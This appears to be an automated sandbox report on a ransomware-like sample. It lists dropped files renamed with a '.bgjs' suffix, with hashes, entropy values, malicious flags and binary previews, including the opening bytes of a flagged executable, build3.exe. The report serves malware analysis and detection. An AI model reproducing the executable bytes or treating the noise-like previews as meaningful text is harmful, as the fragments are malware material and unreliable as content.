SHA-512:	421E4E7DF7A17D9C6FDE81F1492CA1140F34D1AC57F431128B5A3C3E80DFA2886239340D9F58839D35F2D26626C25B65F2D599E384612B2BBA40410027C4C33D
Malicious:	false
Preview:	[{000.R......%HZe...6....)?Y...0.....Y`.#. \......2..-...mO/.]./..~`%rf.....6...Q(....'...2n..w.l...G.:.....V'.aV.].V..W:>.......\|..**..s+....nx.0....u..o...B..5.X...bM@E....c2.Z..%....G ;"H..sq&\.q&...-....$...'. ......=#.G....~..O.W..fK.3...(N.c.?.u..;[...........3.P...l..9e....0..A.,...M..I..%.m...`0.I..@.F.R.$\|j.....lB"..i.T.t.."..J.S;u\...gdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.4956666759950865
Encrypted:	false
SSDEEP:	12:XrxJKRqlYYqX7xRuOqm9rfqg1SLY5bFXqOTuWcii9a:bxJdlRqX7xRmmFQ01FXq8uWbD
MD5:	F0C5D078B624C6916D099D2A5E937186
SHA1:	03CC02AF4E48B872627BC3FB4A171362F785F16B
SHA-256:	EC21F77B1238BF2F614F2B35F946EE06F49FAFDEF5595D3A09DC8CAEFC759382
SHA-512:	421E4E7DF7A17D9C6FDE81F1492CA1140F34D1AC57F431128B5A3C3E80DFA2886239340D9F58839D35F2D26626C25B65F2D599E384612B2BBA40410027C4C33D
Malicious:	false
Preview:	[{000.R......%HZe...6....)?Y...0.....Y`.#. \......2..-...mO/.]./..~`%rf.....6...Q(....'...2n..w.l...G.:.....V'.aV.].V..W:>.......\|..**..s+....nx.0....u..o...B..5.X...bM@E....c2.Z..%....G ;"H..sq&\.q&...-....$...'. ......=#.G....~..O.W..fK.3...(N.c.?.u..;[...........3.P...l..9e....0..A.,...M..I..%.m...`0.I..@.F.R.$\|j.....lB"..i.T.t.."..J.S;u\...gdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.44951972097919
Encrypted:	false
SSDEEP:	12:NV+cNwTDbxD8KjiVL8z2z7pyl0vr/jXATeXqOTuWcii9a:NDMjXzHl+ATeXq8uWbD
MD5:	800143F6F24131CA7C5B88B43F8335F0
SHA1:	63D2D8EEA4E54525F37AC05037E6B466E25DA3AE
SHA-256:	27427845A473B8E27BC7D6223D097C33980CBE050B02559232D89DFAFA58F4BD
SHA-512:	17D158C16C55C18E2556FB4C34B6A145EF53D6D659AECCFB04BF1BE8006199A96692FCEEDA201EE867317205BEFBEDEE8FE96D9A1887EF830623D08DDA3A5ABE
Malicious:	false
Preview:	[{000......6.y..~.;..).N.N..%.....D..Rs.s?....x.,.\|....'...,....5..#A..e..<.F9....(Z......Iv..>.....C:.\.......8..8.Gt..aFD.%.........mQuu.....a...].?.]6i.t.......+........b...9.........T6..=..;h."n?J......r....-......Z+....l..WZX..C........:..G;..\.Y....0w.KD..ri#..<..0Q0.....F........P..Gk.".{.m....1..@..5;........=R..wn`...X0.W.:..Q.A..~0.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.44951972097919
Encrypted:	false
SSDEEP:	12:NV+cNwTDbxD8KjiVL8z2z7pyl0vr/jXATeXqOTuWcii9a:NDMjXzHl+ATeXq8uWbD
MD5:	800143F6F24131CA7C5B88B43F8335F0
SHA1:	63D2D8EEA4E54525F37AC05037E6B466E25DA3AE
SHA-256:	27427845A473B8E27BC7D6223D097C33980CBE050B02559232D89DFAFA58F4BD
SHA-512:	17D158C16C55C18E2556FB4C34B6A145EF53D6D659AECCFB04BF1BE8006199A96692FCEEDA201EE867317205BEFBEDEE8FE96D9A1887EF830623D08DDA3A5ABE
Malicious:	false
Preview:	[{000......6.y..~.;..).N.N..%.....D..Rs.s?....x.,.\|....'...,....5..#A..e..<.F9....(Z......Iv..>.....C:.\.......8..8.Gt..aFD.%.........mQuu.....a...].?.]6i.t.......+........b...9.........T6..=..;h."n?J......r....-......Z+....l..WZX..C........:..G;..\.Y....0w.KD..ri#..<..0Q0.....F........P..Gk.".{.m....1..@..5;........=R..wn`...X0.W.:..Q.A..~0.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Twitter.url

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.3865542894773055
Encrypted:	false
SSDEEP:	12:ugxLJuO7SU/ssKxcLiEY6+wtIjqd3V7H16RQwweQPzbXqOTuWcii9a:jxLJL7HszO8qd3V7V6WwlePXq8uWbD
MD5:	11B9F741BDCFADEC414FCB79BE902A5E
SHA1:	525CCEC77BDCAE9A679B675F0B727C50FCA84E32
SHA-256:	33C52C209E11AC1EC18CC43C5B2AA829BED5FE536F5B0081C9575480302E8D16
SHA-512:	EFC7951731B051C298F10901548716190758F46FFC976BDBBBA404388B9A5274D6C978A46310794647581AE889A501AA74A242B3E1208199F81BC4158E26D354
Malicious:	false
Preview:	[{0009.......L....k..#..X.e...f.S.&..n..a,...=o.PO#H..{_F".9>4R..sd...v..kW..vb.^.....2....Y..(..A...HbQw..f.o.K..Uf$..[..Q.J.l~.....(...,0"C.x.....{.8.z......}'........9...D..~..yO.....0......_.....4.7..>.C.~.........z.]!fV.6...X.0q.s...l..2.R..T.w...3...s?.i.f..M.......9Q....~.6..._>}~5..gD..T...ot.....vl.O...4>......u......M.!..q....T.e.....p.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.469268274003071
Encrypted:	false
SSDEEP:	12:mTDffmQoJegbjqPoq3MH1c7U+Xeo9t4DjbuNcqKXqOTuWcii9a:mnfBoQ93MVc7UNc4/iNcDXq8uWbD
MD5:	B3AC158ADC07ADA59F84A817F697EEB9
SHA1:	31A7921CE6E9EC50E6B44EE844118DF3517A75EA
SHA-256:	F78D486AB3FCE096A78E90028AC84F87F984B1326E3B1690D63A23977D83EB0A
SHA-512:	036D5E59425F2621A824EA7B81B08EF6CD00F10AD72C7A1EE4C34EDA1C36D450844766EA642C51CF6B6F2D1215BB8FE63A20AD4B8FEECAD2A992411529BDA6C7
Malicious:	false
Preview:	[{000..u.p...gS.....N.{.7.]W..do8.....5......iv.a..o..}Y.~..Tr.wfG.x...D-.......$...M.l.t3..W7.j...~..miQT...........\|....6T..f.c.............#..x..g[....q..TO&!Z$C.6..R..t...g...L8.............N.3..;[........9T./......;......p.$.{...K..G...U...DBi>n..,.M"J.~.j.Z*.N.Y...@.u..e:^:v....A.6..=o..7.y.B.....+.J.....%.T....X:;.)........D.s.....\...".-.&..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.469268274003071
Encrypted:	false
SSDEEP:	12:mTDffmQoJegbjqPoq3MH1c7U+Xeo9t4DjbuNcqKXqOTuWcii9a:mnfBoQ93MVc7UNc4/iNcDXq8uWbD
MD5:	B3AC158ADC07ADA59F84A817F697EEB9
SHA1:	31A7921CE6E9EC50E6B44EE844118DF3517A75EA
SHA-256:	F78D486AB3FCE096A78E90028AC84F87F984B1326E3B1690D63A23977D83EB0A
SHA-512:	036D5E59425F2621A824EA7B81B08EF6CD00F10AD72C7A1EE4C34EDA1C36D450844766EA642C51CF6B6F2D1215BB8FE63A20AD4B8FEECAD2A992411529BDA6C7
Malicious:	false
Preview:	[{000..u.p...gS.....N.{.7.]W..do8.....5......iv.a..o..}Y.~..Tr.wfG.x...D-.......$...M.l.t3..W7.j...~..miQT...........\|....6T..f.c.............#..x..g[....q..TO&!Z$C.6..R..t...g...L8.............N.3..;[........9T./......;......p.$.{...K..G...U...DBi>n..,.M"J.~.j.Z*.N.Y...@.u..e:^:v....A.6..=o..7.y.B.....+.J.....%.T....X:;.)........D.s.....\...".-.&..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Youtube.url

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.369528587763722
Encrypted:	false
SSDEEP:	12:7wNew4kR19w76eSIVio0R4fYgmrOUpORWXPMjtazXqOTuWcii9a:zjkR1i2gVioOimrOvRWf5zXq8uWbD
MD5:	D0B70537E7AF73A3F358DA2C69D2F26A
SHA1:	1CF2A9CC7EE0694ABF0595681C485D73565A8E52
SHA-256:	8C0C596E02A757D872EB3E852970B491BF02B94A00E37C4584D713C6CF080612
SHA-512:	8F65D5DD566079732F32A81C46B621D100179F708BFD8D357104480B8F1EEBF161D1573D3004C7D3B28A89EF27A4A2779039A3E1B45881BDF4B27378A63529BD
Malicious:	false
Preview:	[{000#.I....u\....f@._.y3c...gXR.l7.>G..3LB..:.~].Jx.6..c..$...n.Pe1.j....[..9..tPe.f7IzGQ..@..G]y._.>h..-....]...b..N..2....(.<...Ds..r:W...A7h.z.l..+.....%.(".G[^hS.#.].......j.B.@.K...>...VM..Z...!.AUB..lC.A/...t.tD.cM...Y.9A....W...j....#.....F.I...A..@o.;......Tz......T.=t...@..g.t.H}U.....N..).0.{p.27g..%..6.2.Y.D.Z...5...].C...G!....<.sdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Youtube.url.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.369528587763722
Encrypted:	false
SSDEEP:	12:7wNew4kR19w76eSIVio0R4fYgmrOUpORWXPMjtazXqOTuWcii9a:zjkR1i2gVioOimrOvRWf5zXq8uWbD
MD5:	D0B70537E7AF73A3F358DA2C69D2F26A
SHA1:	1CF2A9CC7EE0694ABF0595681C485D73565A8E52
SHA-256:	8C0C596E02A757D872EB3E852970B491BF02B94A00E37C4584D713C6CF080612
SHA-512:	8F65D5DD566079732F32A81C46B621D100179F708BFD8D357104480B8F1EEBF161D1573D3004C7D3B28A89EF27A4A2779039A3E1B45881BDF4B27378A63529BD
Malicious:	false
Preview:	[{000#.I....u\....f@._.y3c...gXR.l7.>G..3LB..:.~].Jx.6..c..$...n.Pe1.j....[..9..tPe.f7IzGQ..@..G]y._.>h..-....]...b..N..2....(.<...Ds..r:W...A7h.z.l..+.....%.(".G[^hS.#.].......j.B.@.K...>...VM..Z...!.AUB..lC.A/...t.tD.cM...Y.9A....W...j....#.....F.I...A..@o.;......Tz......T.=t...@..g.t.H}U.....N..).0.{p.27g..%..6.2.Y.D.Z...5...].C...G!....<.sdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\.curlrc.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.235091699529914
Encrypted:	false
SSDEEP:	6:KWELvhHwdktOsva6wIocylHUVmQLeKorNOPCaicybmtXqHk7T3eWcii96Z:NZKw6wVxUVkKYmCzsXqOTuWcii9a
MD5:	330BAB11F238082DC60A8BBE5AAEBB24
SHA1:	826CD181A9F6C929649391F560F59554DCF6A602
SHA-256:	CE1BA8A1D4813DA2C5D8442C9516797FB7D36F6353EA3B0751084CE6F7219DDE
SHA-512:	196C9EFFE32896461C6F010D870B9A66623B23171F30A4067EE3E3B46760B2C291CA11C90A3AE3DD81875116A4FAD6FD638931129C649C69230E59EA2DF61D50
Malicious:	false
Preview:	insec!.._..x...@.....l..@.[x5.,.2.....A...m.yA)NY\.S^.r..]W....]B.~;l..._...+.I9...Q....E.uZ......./..'..O..+.......Vt.dsyFF.\.fW....O.S2Z....<.g=?..T..../......SS..[.Y#0/M0....Z...9.~;..w]f..ez]..\.....sZD.(..9r'.Z.3.D.;.*=.jK.Kz.6.0....TP7.gr_..K.:doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeCMapFnt23.lst.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.879492772960851
Encrypted:	false
SSDEEP:	48:xokYQvFR8bppLRRDq9PYKCJ0Vr5ociPJLj8GmXFuED:+k9vFsHDq9AKCJ0hXS2lFuQ
MD5:	C79A9808E1A0D84F5D5E083644E9FF94
SHA1:	8CAB655B382875C8C1398901127ECA109C7FD8B6
SHA-256:	BF5C36C4446C3699BC09D661E6D2423E70C00A926FA5ED5F68836CEA9DFEDE35
SHA-512:	4CD09693E4539433F48ED97989DAC7F66E5BB669CDAECA9FE2B5D750BF98119B30FF891700461A9135D0ED6EAA2F7C7AB415E1E28C4EEAAE944D76299C9EB8F8
Malicious:	false
Preview:	%!Ado....t.G..8EwW.._\w.......5.~.........t1...C....X.f..48..Q..N..(~D.%-..N.........y.c...`.&....\|h..h$..[t.fyb.......x....1T.W.k.v.0aj..=...:.U.......#.B\0.M..n.D...f.L...........,....0...vg/.!~V.OxF....8.H...a.I.._..%Y...d....!..k...$.,.F...#$....Xr....."..9.,}.c7.lz..nhQ,z..;....S.Zr...?..z.....l.......=..dyQ....p5T.v.5...(:..e..<.....p.N5......7.E.[`..1.....^4@xTr&..fl#-..v..Ge1.d....N=*..M..H[...kk.....wk.....J..s...........<..c...i...K...."........+d(g..05.1ai..J.P...+N.Q.b.....#......Gag.rXx\...U...$b...i.F....?.-.J.hM......B.3s.k.b.1. ...3.W.Ft4..9./._G...F.9N&.h...Vx..1..8.<F.g.L.".E..0-../`...\|..Zo..C>n.B..l........J.J...H...8.,..K..I..7q.].M..l.~......\..f..#Z.I.w%..&n.+...I.sK..(....] &.1...j...c.2..L...D9)2{...2&Q.d"...9.@"...<....s..E..k...'.]..CK......9......r.#W..5[13..T.Hp....h..q...mzI.... ..lw.0..%..[..).W.U3l.5..[g. ...\..n..6.E.<(.,ZCY.u...b.....\XA..(.#.. ,..3.....`.....#..b.rwl.5.I.].h.LE.._..8~.H..J...C...ed..

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeSysFnt23.lst.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.876035892391137
Encrypted:	false
SSDEEP:	3072:s1NjfVB2hmAIXaXtpDhK8UVLM26P5lengSRSEjgPf9i7LVU6SRlPRWTQQXE07Zml:oxfX5XQtpE8SR6PjenjS7fk7BfSRlZW2
MD5:	9B8DCDCEC2EA21881C14AC5024C457CD
SHA1:	20C51D3025E7B27D1058C95234D8BD432BA7EBAA
SHA-256:	81B28B658626E1A2574E02CEA4AD3A1C64A39CF69C8CEAF1CF9943A298BDB030
SHA-512:	0A5CC084A18F10020AFF436959BC5ABCDB400FB8C590DA18411B89C524F50A6522C1AE2F2CC84F26C42229F2375F659307AA0771BCDA11F9A8797D841132BF4A
Malicious:	false
Preview:	%!AdoK.,..\\|e1.....%.'u.~vz`.:I_..Q..T:....R\|...I1HJ.x!.....@k.].....m3_.i....t....7.F?h...........^...~D.... .......U."..98Y`./.@..a.. 7$.:..^..._:_U..J.;L..k.M.5I.dL..t...X..<....32[S.0p...?4.].o.M.........:..#&".\|.;..P.\a.S...m......1......wwax...n.K.G...F.f..........g.9...j..B..!...+....Q..Z..\.l...\..W9.d<..jUjU.@.....r..yS......!....2........8.\......Z..XnA4.t.D..7..N..Y!T.i....`.....#.PG.J..........i..B3.r......T.;2...@.q.Us3.1be)L.....M.S.Tc.E:.Y.Q..)..8....{...3}.. .^.~..?+.%W=.."...[@7j...u...dE.?J.....~.....{X....hW../..8@.'k~..O7p6...M..y.HG.kr...C}..J....}..t..SE....:od+.&.Z.K.>....?.....94.....Pf...]@.dy.....Yq.'...X!...Q....QqL. U....Qq...H..$...0.nF2..ps....;.{......!1....'.oC.\|.r.X}!._]pE\...$Y.X+4...O_.s...u.`.L.?....O..bRC.."t..7.j.PA........R..i..F4.............5.p.7PeJ.Dd._.....w..(.(...c...=.Oq..Hf...u.~{.....,..P6...k..o..[_..w.?..u......w.8-we.+!~.DZ......-.5..K...n...s.$..%...{i.5^H..]4.!="...u.u....J,.W....Sa.....b

C:\Users\user\Local Settings\Adobe\Acrobat\DC\IconCacheAcro65536.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	227336
Entropy (8bit):	6.983923922685615
Encrypted:	false
SSDEEP:	3072:VBBU/P2Lm5wMrBReIwe+1ibYSuAUrd6xgbf2V29zp+yD48au5fcOM7OoWiRnL:7aHYEXBReIwUBdvxX41D4pAffMHnL
MD5:	0635C3B2599F181639F81402C42409A6
SHA1:	5A6CADCF8232F286D494B85940B3849D2E0779E3
SHA-256:	40DDC964CD3530C5BFC122F33DD2FDB46089F2969E47AF8A799072A4E51069BE
SHA-512:	D129E227161C716F091AD467F088AC9F552179B30101693B2B447B7638FC42112366E65D2656234C865B7D8CDF09A71CFA0D0ECCAFD5BEAFC76FC02B3AD6DF96
Malicious:	false
Preview:	Adobe1O..V.u.p.....[...m."C..G...-.T'...(.....,..J.WL.+.z%8.m8.\\|..,..d).Y6..v...........!.....H........\y,k.+N3G9.!<....(j.Q.....!.......Oa.).;.....(.P).v.G..u..(..o....$r$....ll..y..;.g..n...;.N$.w..ad.:..;....0.N.Dq....y.m..Sx.....P.b...C.y].......vBZij..K}".......}. \|...t.VF.3r~.%..6P.(..v.x.....z...3.<....5.x.....m.`.jL.&^$.n....+......).!........S..C[....C!.....X.K.u.8..4?..../."..0tVC....n.9)...r.M....w}HZ./.....^.!&..x>k.'....Wo\......0.q@...../0U.w............5..T...VO..xoZ(..@........a.s.~.-,.[..@#...C...........>...p.B!w.F<..%.\|Yz...vf.m..w8..zk........h..wqe...x..(lB..i..C...~.c.w.=...T.H=>..M.9..a.UP..>a.j.H.V...3........h.....^`..Y......(}.y..........M.N(.<.....X.j'T.:..{...............L.-.#..jl..M..g...rD.9P......G.....f.r....l..~}/0...0l...P7.A.1...B......a..6e.K...............F^E.........m.9\|....1..:.G4...^....g.).K...K.#.0v..I?.._.YA..3:....md..2.+...C%u..3H.C.jE'p......F..e@&'.T...a.,._.].q_r.c...PcEl.\|.T..K)..v

C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997196534367037
Encrypted:	true
SSDEEP:	1536:LiU6D3EzdlQ6HKtEUSZJ4U3TZbohLaqW1aUlzU3NMi:Lirzl6HK6USlTZb42f+ii
MD5:	BCAF2F8AFFD38A96D5DA295AA302E42C
SHA1:	6D25D138BA80733647BD98E554E8FFD76680E12D
SHA-256:	E26768EF8C69EE34404043C6A075D0B50EC8F2CCB0B27E2DB0B86CC7E3149229
SHA-512:	F1219C0F4A18FA44269E9B996C81CCB235E9B37EC3636FC5B464AF5D8047DDFE43642196DCA9D04B632C64A5CB377E3EA3A5C9A225CC5C87C339ECB002C4E816
Malicious:	true
Preview:	4.397.....W..sH.K..c.\|..R.B].d....{...."X[i..=.dK}yi.....Q.j.H._V...l6.q.mc...x...#J.[...v..n]gw.}Y.\|=......RL.\......[.J..{.+..l..o......_?....B.W.....AFp#&.1.."...&.pJ..).G..T.kf]\|vj.(..........'89/+x$+mw..P9bw..VHQ...J.o...Lw.G.m+....Ea..S?..3WB.._NmT......,.G.4.iF`..].%qL.?.EG(.k.=l.. "9.O...:.3../.k...w]...V...dP.?.#..?[./.E. 9.0....~0....f.....F..].C.&....8+...........)9X'.J .n..v...^Z......'Umb;....LE#14..}...?...[.L..V.=...Z..O...<.s.K.U...X.Tg..B...<.......[...eh5.<;..u3..a...F.....NV.l.4.6.....1-..G.I...A.g./!....Y....:.....5n..!z.z....v.65a{....2..T.p...t.t^+..q...K.0...q.9...p.D(Ud............F.T.....@n..o.t:...M.>.A.Y.......p..E..p.CMg...W.A.......<u.....j...]..+?<.=7...?.r....I.!..t.....w.bJ.<.M l0D......Q.Zc.6.....M~.s..Z...s...s......6....(W.0-A..EQ#...{....9......V...6.?z{....6.A.....U.. ,.1.....T;.%.Q...l^...u....c...@.z<Nr.S.RH..@..?......f.>...G=...3zLS-.I...&i>......T...r.~.n..Cx.1b.8.&S..3...^....q..%.j..a.@(..

C:\Users\user\Local Settings\Adobe\Color\ACECache11.lst.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	932
Entropy (8bit):	7.750799873048603
Encrypted:	false
SSDEEP:	24:sPGzfdwFMyx/gl7xwvUr+PgspVnEd3qSd6uSUcLXq8uWbD:tfGFRI4v+kZVn+3Z6QcLXFuED
MD5:	94A99AF4615F732F7C669412B614B9DA
SHA1:	354ECB5F7100174CF28EA77FA1B048D441AC8F2C
SHA-256:	347ECA1FFFD344D6CB82E80E006B489D98E647165DD356924775EC0DB19905BD
SHA-512:	A7BCE3205AD4837E04C5C292A355AF71EBB1D9BA350083C3A014F0B8B71757B154A865DC35D11FAD19F4517549492E0C4BEDB8D1212A2B79DD6C8D2321CD52BA
Malicious:	false
Preview:	CPSA..l2..{.i.I.H..f.v.a...].@..G'.p...W7j....j...$..k6...a..z..0eI...Gz4...f.J...2..!..m..(.@5..T..B.=U.......^..r..8.-...F...=-3.v/.n0..HN<\|..x.....IH.;...K^..?..S(.E.t.(...cs...\.....e...q$.Wn.~.. .Kv.. ...! .\|....`.; ..w.a.l...9.c..)v.E.`.8...9.m&./.Y..J........7..?02xZm.K.......v;uG>O.......E..8.V..'..r1t.. ^Kx+.d....s.......9.U../\.(.j..qU@..K.2.......%...*.!..b...>.......x<^.e`?.q.h..4..V..`1b+.4JZY....CpZ[V...=O%&5..b..su4...S....a...N.{...i{..#J.T..8..P.l..~...>o.....t.rQ.T....M.=..[.f..........mji..rO....q3\...f.^'...E..G.D.gt ...H.3!$..\|.....M.\|.A.AF....[.g;%l..c.}.3..O..\|.B.}.tu+.I[:.u.[...d.p`.Pd..i....9..l.B..".0.c..,.:NV......e.bi-.3...S..zPSnp.:1...'jh..a..x..zFyt.S...l~%.4....^..k...<...#heZ#r....p._[.[V0Izn.6.W..E.v....C.............q.......2..s .l.ga{N.l.tM2...I.T<.F.s..`.)o.x_..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Application Data\Application Data\Application Data\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	307022
Entropy (8bit):	7.638139648053161
Encrypted:	false
SSDEEP:	6144:d11oTUWK81GZXUbra0CHdtM9VstSttuvqITzj:5m1GhUQdt9tKt2qIPj
MD5:	8B2736BAD97D2118CF911864EA7BDFAD
SHA1:	BC3756F94208F49663323FE195F8D32AC800EDFD
SHA-256:	14CD15B41790794C7FA27D5DCCBCBB341ED9A87DA7461733E39CA72B19F2D142
SHA-512:	C92ED693B4EC1F41C2B0B7FA5C02A43189C9266DED920BBC044AEFFD39ED0C39E2249E0EC98E461F5A4048FC58CF4390CB2D1672F1FA7C2A8A81FBF0DCBBC977
Malicious:	true
Preview:	MZ......._5....6$..Eo+O...MZ.@G.(.R....o1.SV..(........,.....SS..j..u..)..i....o4G..<r.HUa`.y .-7.v0.k:..!.i\|..I3..5^rT..iF.[.jjI.Tf............#ng.....K....+"QB........Fa..~..<....?.....\|,.......L.......<.k..m..VC.........-.U.L..\|..y.$f.....A].5..+..3..e...........s.......xT.T..].nv..l<O..0'.u....H8Rw...Es....q..j.l.IP.rHuB..g%...........5k..P.......T6...... .n{D......'..pJ...>.k..Q....O.q..nU....fHq9.=...)....!.F...:^A$..$...8.....`.(].....v".\|Vh.}..,.e......G..P.A<^..[)..w<.Kd..........M..n4T.g...q.)......Z#...6C.../a..CLS...5...E;.......Bl.Q ].J.....J...u.c~..H.V1.D.......rS...F..7..s...Q....=1......7....A u}Q..sZ....M.n..K.nv.5Q..T^......&+.L.".......{...f2!.......w.R"Pj.b+D$..h..!T...?..Z.ke..n.....q..2MvL.].Y..{..fI.rD.9.........Xe.\|h............LV..8...Ia..O...N]*@..y.[Pk.7,DS5.1a9.\|..6M...^...#...7.7a.>....[.p....RL..../.......[.Y.p.........E.O.....c..>O.."../".h....j..HT...v.cs..o69n....t...\.k Nq..4......j

C:\Users\user\Local Settings\Comms\UnistoreDB\USS.jcp.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9773592598119
Encrypted:	false
SSDEEP:	192:jaW1oYC1ht3qBRldkSa9zrs8NEQVkQbDfSf7H4L5ptSdjJQ:jaWaYC1v6BRldkjzTNaQbDqYLPtSVJQ
MD5:	0FBD11E15DD7537A21AC250797CC59A9
SHA1:	A51F24FC097E392DCE910F5793E327CFF9108FE1
SHA-256:	F4B8EA94CC1657CEAC9E0B1431ED9C033820AA71C317AB924E55C33E04A8BDD1
SHA-512:	165F5A5CF01227164BD18E3D812106E26442ACF3466292DE4B6F8AD0B3E3744F57D6AE62D9EB2C4ECD7A99620F57AAABE627055C92A83CD6E46518A89D16FCC9
Malicious:	false
Preview:	.A.~...8k..P...hd...]t.'..A.^.`m...I7.......J.T E/.L.G.t..&..2..<a.-.#J.%"....b.nbI....AG.p}.f.q..!....R..2nX.9r.@.K0)..`.,./.!k...Q.........R.l.....V%#.c..2....{.1.......G....`=...r.<}2..9].N$Z4...R:.GeU........d.o.G.-.-.......d.....a:=.-.......t7.....5...0..+..Og...j..-[....R...U.CQ_.".\|.."..4..R.l.m.,8.[V... ht...89+ ..._WC..&T.ZX.@...=Cl.Q.l.D..6...(.....:.R.Sq.....wF..8....Y.l2.5..a. ........@...G3.p..].LJI...<. .?1...+.....wb._...YT....Njh.}.oeO.......^o.. /:x}S.z.........uW....?..2.l.....D........B,.U..'..8..U.A.)..pj..&.&;.q...G..z.".3.........r<e.DR..lN.2D...@...}..z.:..v......F...t_....%......n9.FE.E.QF:.Z.+....Rz....Q.w!..N..t!_..Di..1h...l.:...WHh.7..-.`..%z...5..N.&...i...&dh..d....y.#..Ab...J.U..~;.}=.c...?....H.)V..px"...D...fW.8\NV.u.!4.2W...Ep..$.{..W.^....3..h...SC.......k,.....t...2c.f;......+.kl\.V...'.n.N"E..AL.......2...O.UP.fY.....Z?.......w.@.!..<`......&.b.Bh+\|.&v5<7...qI..h.....(..}.A.......Q..B./..:.vy}B..

C:\Users\user\Local Settings\Comms\UnistoreDB\USS.jtx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	1.7306886905399468
Encrypted:	false
SSDEEP:	6144:dLfL+dlCp/zCMc9Bysgqpfia83sgQNqwlKRpO49VXtbFZRw5Jbqh+AJ3TGXZAcb2:9SWpbCMczgqpqWrC96o
MD5:	47CC846C892D5E4F3857ADA1E2BF1DBB
SHA1:	8D70882E7E9B15619CF2DCC33AF9E1684572DA06
SHA-256:	F9DDCB5C584C40E512C29D983A34FC9B39C28F6218CC39FBED27C1B56DF57A74
SHA-512:	FF0B80734C6A327ECED73E8C45EF4C975ADB205261EEDE7BA2499BD1056870D89673AE0790D5C982FAA28CFFBBA1530AB16BCCAE86A4EC15CDA6013373555530
Malicious:	false
